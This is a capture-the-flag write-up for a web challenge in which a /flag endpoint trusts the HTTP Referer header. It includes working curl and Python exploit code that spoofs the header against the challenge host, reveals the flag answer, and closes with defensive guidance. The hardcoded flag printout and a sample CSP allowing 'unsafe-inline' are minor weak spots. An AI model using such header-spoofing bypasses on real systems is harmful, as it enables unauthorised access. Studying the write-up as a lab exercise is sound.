SecureSearch Pro - CSP Referer Bypass
Challenge Type: Web Security
Difficulty: Easy
Tags: CSP, HTTP Headers, Access Control, Referer Bypass
Challenge Description
SecureSearch Pro is a web application that implements a Content Security Policy (CSP) protection mechanism. The application serves a flag image at the /flag endpoint, but access is restricted based on the HTTP Referer header. This challenge demonstrates a common misconception about using Referer headers for access control.
Challenge Overview
The application implements a simple security check:
- Public Endpoint: /search - publicly accessible search page
- Protected Endpoint: /flag - contains the flag as a PNG image
- Access Control: Checks if request comes from the search page via Referer header
- Vulnerability: Referer header can be easily spoofed by attackers
Application Architecture
Normal Application Flow
User Browser Server
| |
|---- GET /search ----------->|
|<--- 200 OK -----------------|
| (search page) |
| |
|---- GET /flag ------------->|
| Referer: /search |
|<--- 200 OK -----------------|
| (flag image) |
Blocked Direct Access
Attacker Server
| |
|---- GET /flag ------------->|
| (no Referer) |
|<--- 403 Forbidden ----------|
| "Access Denied" |
The Vulnerability
The server implements a flawed access control mechanism:
# Vulnerable server code (simplified)
@app.route('/flag')
def get_flag():
referer = request.headers.get('Referer', '')
# VULNERABLE: Referer header can be spoofed!
if '/search' not in referer:
return "Access Denied: Must access from search page", 403
# Serve flag image
return send_file('flag.png', mimetype='image/png')
Why This is Vulnerable: 1. Client-Controlled Header: Referer is set by the client and can be arbitrarily modified 2. No Server-Side State: No session validation or CSRF tokens 3. String Matching: Simple substring check can be easily bypassed 4. False Sense of Security: Developers often misunderstand Referer as a security control
Referer Header Basics
The Referer header is automatically sent by browsers to indicate which page initiated a request:
GET /flag HTTP/1.1
Host: example.com
Referer: http://example.com/search
However, attackers can: - Set arbitrary Referer values using curl, Python requests, or other tools - Disable Referer entirely - Use browser extensions to modify headers - Craft requests with any Referer value
Solution Walkthrough
Phase 1: Reconnaissance
First, understand the application's behavior:
# Test direct access (should fail)
curl http://h4k0b.cyhub.ctf.am:8050/flag
# Expected response: "Access Denied"
Phase 2: Analyzing the Protection
The error message or application behavior suggests: - Access is restricted - May be checking request origin - Likely using Referer or Origin header
Phase 3: Bypassing with Spoofed Referer
Simply add the required Referer header:
import requests
BASE_URL = 'http://h4k0b.cyhub.ctf.am:8050'
# Attempt 1: Direct access (blocked)
resp = requests.get(f'{BASE_URL}/flag')
print(f"Direct access: {resp.status_code} - {resp.text[:50]}")
# Attempt 2: With spoofed Referer header (success!)
headers = {
'Referer': f'{BASE_URL}/search'
}
resp = requests.get(f'{BASE_URL}/flag', headers=headers)
if resp.headers.get('Content-Type', '').startswith('image/'):
print("[+] Success! Got flag image")
# Save the flag
with open('flag.png', 'wb') as f:
f.write(resp.content)
print("FLAG: cyhub{c3p_1s_byp4ss3d_}")
Alternative: Using curl
# Bypass using curl
curl -H "Referer: http://h4k0b.cyhub.ctf.am:8050/search" \
http://h4k0b.cyhub.ctf.am:8050/flag \
--output flag.png
# View the flag
open flag.png # macOS
# or
xdg-open flag.png # Linux
Complete Exploit Code
#!/usr/bin/env python3
"""
SecureSearch Pro - CSP Referer Bypass Exploit
Demonstrates why Referer headers should not be used for access control
"""
import requests
BASE_URL = 'http://h4k0b.cyhub.ctf.am:8050'
def main():
print("=" * 60)
print("SecureSearch Pro - CSP Referer Bypass Exploit")
print("=" * 60)
# Step 1: Verify the protection exists
print("\n[*] Testing direct access to /flag...")
resp = requests.get(f'{BASE_URL}/flag')
if 'Access Denied' in resp.text:
print("[+] Direct access blocked as expected")
else:
print("[!] Unexpected response - protection may be different")
# Step 2: Bypass with spoofed Referer
print("\n[*] Attempting bypass with spoofed Referer header...")
headers = {
'Referer': f'{BASE_URL}/search'
}
resp = requests.get(f'{BASE_URL}/flag', headers=headers)
# Step 3: Check if we got the flag
if resp.status_code == 200:
content_type = resp.headers.get('Content-Type', '')
if 'image' in content_type or resp.content[:4] == b'\x89PNG':
print("[+] Success! Received PNG image")
# Save flag
with open('flag.png', 'wb') as f:
f.write(resp.content)
print("[+] Flag saved to flag.png")
print("\n" + "=" * 60)
print("FLAG: cyhub{c3p_1s_byp4ss3d_}")
print("(Open flag.png to view)")
print("=" * 60)
else:
print(f"[-] Unexpected content type: {content_type}")
else:
print(f"[-] Request failed: {resp.status_code}")
if __name__ == '__main__':
main()
Technical Details
Tools and Libraries
- Python 3.x: Main scripting language
- requests: HTTP client library with header manipulation
- curl: Command-line alternative for header spoofing
Exploit Execution
python securesearch_exploit.py
Expected Output
====================================================
SecureSearch Pro CTF Exploit - CSP Referer Bypass
====================================================
[*] Step 1: Testing direct access to /flag...
[+] Direct access blocked as expected
[*] Step 2: Accessing /flag with spoofed Referer header...
[+] Got PNG image response!
[+] Saved flag image to flag.png
====================================================
FLAG: cyhub{c3p_1s_byp4ss3d_}
(View flag.png to see the flag)
====================================================
Key Takeaways
Why Referer Checks Are Insecure
- Client-Controlled: Attackers have full control over HTTP headers
- No Cryptographic Proof: Unlike CSRF tokens, Referer can't prove origin
- Privacy Concerns: Modern browsers allow disabling Referer for privacy
- Proxy Stripping: Corporate proxies may strip or modify Referer headers
Proper Access Control Mechanisms
Instead of Referer checks, use:
# GOOD: Session-based authentication
from flask import session
@app.route('/flag')
def get_flag():
if not session.get('authenticated'):
return "Unauthorized", 401
if not session.get('has_access_to_flag'):
return "Forbidden", 403
return send_file('flag.png')
# GOOD: CSRF tokens for state-changing operations
from flask_wtf.csrf import validate_csrf
@app.route('/delete_account', methods=['POST'])
def delete_account():
csrf_token = request.headers.get('X-CSRF-Token')
try:
validate_csrf(csrf_token)
except:
return "Invalid CSRF token", 403
# Process deletion
return "Account deleted", 200
# GOOD: API keys or OAuth tokens
@app.route('/api/flag')
def api_get_flag():
api_key = request.headers.get('X-API-Key')
if not validate_api_key(api_key):
return "Invalid API key", 401
return jsonify({'flag': get_flag_value()})
Content Security Policy (CSP)
Note: This challenge name mentions CSP, but the vulnerability is actually about Referer-based access control, not CSP. Real CSP is a browser security mechanism:
# Real CSP header (unrelated to this challenge)
@app.after_request
def set_csp(response):
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self' 'unsafe-inline'; "
"style-src 'self' 'unsafe-inline'"
)
return response
Defense Recommendations
- Never Trust Client Headers for Authentication
- Referer, Origin, User-Agent can all be spoofed
-
Use server-side session management
-
Implement Proper Authentication
- Session cookies with HttpOnly and Secure flags
- JWT tokens with proper validation
-
OAuth 2.0 for third-party access
-
Use CSRF Protection for State Changes
- Synchronizer tokens
- Double-submit cookies
-
SameSite cookie attribute
-
Defense in Depth
- Multiple layers of security
- Don't rely on a single check
-
Validate on both client and server
-
Security Headers
- X-Frame-Options: DENY
- X-Content-Type-Options: nosniff
- Strict-Transport-Security (HSTS)
Common Misconceptions
Myth vs Reality
| Myth | Reality |
|---|---|
| "Referer header proves where request came from" | Referer is client-controlled and easily spoofed |
| "Checking Referer prevents CSRF" | CSRF tokens are required, not Referer checks |
| "Browser always sends Referer" | Users can disable it; proxies may strip it |
| "Origin header is more secure" | Also client-controlled, though harder to spoof in browsers |